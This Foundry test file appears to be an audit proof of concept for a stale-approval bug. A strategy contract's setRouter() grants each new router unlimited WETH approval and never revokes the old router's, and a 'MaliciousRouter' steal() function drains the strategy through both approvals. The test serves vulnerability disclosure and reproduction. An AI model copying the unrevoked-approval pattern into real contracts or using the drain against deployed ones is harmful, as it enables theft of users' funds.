pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract MockWETH is ERC20 {
constructor() ERC20("Wrapped Ether", "WETH") {
_mint(msg.sender, 1000 ether);
}
}
contract MockALETH is ERC20 {
constructor() ERC20("Alchemix ETH", "alETH") {
_mint(msg.sender, 1000 ether);
}
}
contract MockTransmuter {
ERC20 public underlyingToken;
ERC20 public syntheticToken;
constructor(address _underlying, address _synthetic) {
underlyingToken = ERC20(_underlying);
syntheticToken = ERC20(_synthetic);
}
function deposit(uint256 amount, address) external {}
function withdraw(uint256 amount, address) external {}
function claim(uint256 amount, address) external {}
function getUnexchangedBalance(address) external pure returns (uint256) { return 0; }
function getClaimableBalance(address) external pure returns (uint256) { return 0; }
}
contract MaliciousRouter {
using SafeERC20 for ERC20;
function steal(address token, address victim, address receiver) external {
uint256 balance = ERC20(token).balanceOf(victim);
ERC20(token).safeTransferFrom(victim, receiver, balance);
}
}
contract VulnerableStrategy {
using SafeERC20 for ERC20;
ERC20 public underlying;
address public router;
constructor(address _underlying) {
underlying = ERC20(_underlying);
router = address(0);
}
function setRouter(address _router) external {
router = _router;
underlying.safeApprove(router, type(uint256).max);
}
}
contract RouterApprovalTest is Test {
MockWETH weth;
MockALETH aleth;
MockTransmuter transmuter;
VulnerableStrategy strategy;
MaliciousRouter oldRouter;
MaliciousRouter newRouter;
address attacker = address(0xBad);
function setUp() public {
weth = new MockWETH();
aleth = new MockALETH();
transmuter = new MockTransmuter(address(weth), address(aleth));
strategy = new VulnerableStrategy(address(weth));
oldRouter = new MaliciousRouter();
newRouter = new MaliciousRouter();
weth.transfer(address(strategy), 100 ether);
vm.label(address(oldRouter), "Old Router");
vm.label(address(newRouter), "New Router");
vm.label(address(strategy), "Strategy");
vm.label(attacker, "Attacker");
}
function testDoubleSpendExploit() public {
assertEq(weth.balanceOf(address(strategy)), 100 ether, "Strategy should start with 100 WETH");
strategy.setRouter(address(oldRouter));
assertEq(weth.allowance(address(strategy), address(oldRouter)), type(uint256).max);
strategy.setRouter(address(newRouter));
assertEq(weth.allowance(address(strategy), address(newRouter)), type(uint256).max);
assertEq(weth.allowance(address(strategy), address(oldRouter)), type(uint256).max,
"Old router should still have approval");
vm.prank(attacker);
oldRouter.steal(address(weth), address(strategy), attacker);
assertEq(weth.balanceOf(attacker), 100 ether, "Attacker should get 100 WETH from old router");
weth.transfer(address(strategy), 100 ether);
vm.prank(attacker);
newRouter.steal(address(weth), address(strategy), attacker);
assertEq(weth.balanceOf(attacker), 200 ether, "Attacker should get another 100 WETH from new router");
}
}
The POC files include all necessary mocks and setup to reproduce the issue.